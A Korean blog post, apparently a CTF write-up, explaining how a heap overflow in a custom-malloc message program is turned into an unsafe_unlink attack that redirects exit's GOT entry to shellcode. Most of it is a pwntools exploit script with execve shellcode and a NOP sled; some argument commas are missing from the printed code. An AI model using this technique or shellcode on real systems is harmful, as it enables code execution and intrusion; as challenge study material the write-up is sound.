특이점이 상당히 많다.


먼저 malloc과 free를 구현하였다.

그리고 메세지를 2개밖에 만들지 못한다.

heap overflow의 직감이 왔었다.

unsafe_unlink라는 것을 확인하기 위해서는 두가지만 보면된다.


 


 



왼쪽은 Update하는 부분의 코드이고 오른쪽은 free를 구현한 소스 내부이다.

Update부분에 사이즈를 다시 설정할수 있다는 것을 확인할 수 있다.

사이즈를 다시 할당할 수 있으므로 heap overflow를 일으킬 수 있다.



vmmap을 이용해서 확인한 결과 heap영역에 실행권한이 있다는 사실을 알게 되었다.


나는 페이로드를 unsafe_unlink를 이용해서 exit의 주소를 쉘코드 있는 곳으로 뛸 수 있게 만들 것이다.

change -> Remove(Unsafe_unlink) -> Change(nop sled + shellcode)

그러기 위해서는 heap주소의 릭이 필요하다.



heap의 메모리를 보니 malloc_chunk에 heap영역이 저장되는것을 알 수 있었다.(func_malloc을 보면 그 이유도 알 수 있다.)



이를 이용해 릭을 할 수 있었고 

나머지는 unsafe_unlink를 이용해서 풀면된다.!



작성한 exploit은 다음과 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
 
def Menu(index):
    s.recvuntil(">>")
    s.sendline(str(index))
 
def Leave(size, payload):
    Menu('L')
    s.recvuntil("size : ")
    s.sendline(str(size))
    s.recvuntil("msg : ")
    s.sendline(payload)
 
def Remove(index):
    Menu('R')
    s.recvuntil("index : ")
    s.sendline(str(index))
 
def Change(index, size, payload):
    Menu('C')
    s.recvuntil("index : ")
    s.sendline(str(index))
    s.recvuntil("size : ")
    s.sendline(str(size))
    s.recvuntil("msg : ")
    s.sendline(payload)
 
def View(index):
    Menu('V')
    s.recvuntil("index : ")
    s.sendline(str(index))
 
if __name__ == "__main__":
    s = remote("localhost"4000)
 
    Leave(32"A"*31)
    Leave(32"A"*31)
 
    payload = "BBBB"*14
    Change(01000 ,payload[:-1])
 
    View(0)
    s.recvuntil("\n")
    heap_ptr = u64(s.recvuntil("\n")[:-1].ljust(8,"\x00")) - 0xa8
    log.info("heap_ptr      : "+str(hex(heap_ptr)))
 
    payload = "B"*56
    payload += p64(0x602070 - 0x10)    # exit_got()
    payload += p64(heap_ptr + 0xa8)
    Change(01000, payload)
    Remove(1)
 
    payload = "\x90"*500
    payload += shellcode
    Change(01000, payload)
 
    s.recvuntil(">>")
    s.sendline("FUCK!")
    s.interactive()
cs


'CTF > 2017' 카테고리의 다른 글

허스트 CTF pwn write up  (0) 2017.05.31
DEFCON_2017 beatmeonthedl  (0) 2017.05.07
DEFCON - smashme  (0) 2017.05.07
[codegate final] petshop  (0) 2017.04.28
codegate 2017 - babypwn write up  (0) 2017.04.05
블로그 이미지

powerprove

,